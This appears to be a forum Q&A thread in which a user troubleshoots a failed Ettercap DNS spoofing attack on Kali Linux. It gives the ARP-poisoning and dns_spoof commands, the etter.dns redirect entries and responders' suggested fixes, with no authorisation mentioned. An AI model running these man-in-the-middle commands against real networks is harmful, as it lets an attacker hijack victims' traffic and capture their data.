I am trying to perform a DNS spoofing attack, but the confusing thing is that when I'm performing the attack on HTTP sites, nothing happens.

But when I perform it on HTTPS sites, when I reach the target site, I get the message: "Your Connection is not Private"!

My commands on Kali Linux by using Ettercap was

echo > 1 /proc/sys/net/ipv4/ip_forward

and then I edited the etter.conf and deleted both # under the iptables section and put my website target in etter.dns under the microsoft sucks like this:

*.example.com A my ip

and the same last one but start with

www.example.com A my ip

next command was service apache2 start

and finally ettercap -T -q -i wlan0 -M arp:remote -P dns_spoof /ROUTER IP/ /TARGET IP/

So after these commands i definitely expect to display my Apache instead of "example.com", but as i said the result was no effect on http sites, and "Your Connection is not Private" message on https.

My main question is why doesn't this attack work for both of http, https, Do you think it's because the router settings or is there something missing?

  • if you look at the packet traces, you should be able to see what's going on. You'll be able to see if ettercap is working and sending the correct info to the correct target
    – schroeder
    Commented Jul 5, 2016 at 13:27
  • I think It's a good idea to tracking the data but do you have any application you can recommend me with! Commented Jul 5, 2016 at 16:01
  • 1
    wireshark is the standard if you want a GUI or tcpdump for commandline
    – schroeder
    Commented Jul 5, 2016 at 17:31
  • 2
    I would HIGHLY recommend that before you go further in learning ettercap that you first learn how to capture and interpret packets
    – schroeder
    Commented Jul 5, 2016 at 17:32

1 Answer 1


Try only with the target ip specified: ettercap -i wlan0 -T -M arp -P dns_spoof /TARGET IP///

  • I tried ettercap -i wlan0 -T -M arp -P dns_spoof /TARGET IP/// but it's did not changed any thing unfortunately. Commented Jul 5, 2016 at 15:20
  • sounds like your server is not up(running) or the other fake site might be incorrectly configured. Check the file /etc/ettercap/etter.dns. It should contain * A TARGET IP where denotes All address records. Commented Jul 5, 2016 at 15:24
  • I believe i make every step right and correct, i'm even watched some youtube videos and i copied each step, but all ways mine don't work. so It's definitely a Hard situation to tell what's the problem. Commented Jul 5, 2016 at 15:53
  • I am assuming that you have used elevated privilege with the command. i.e. sudo ettercap -i wlan0 -T -M arp -P dns_spoof /TARGET IP///. Commented Jul 12, 2016 at 12:16

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .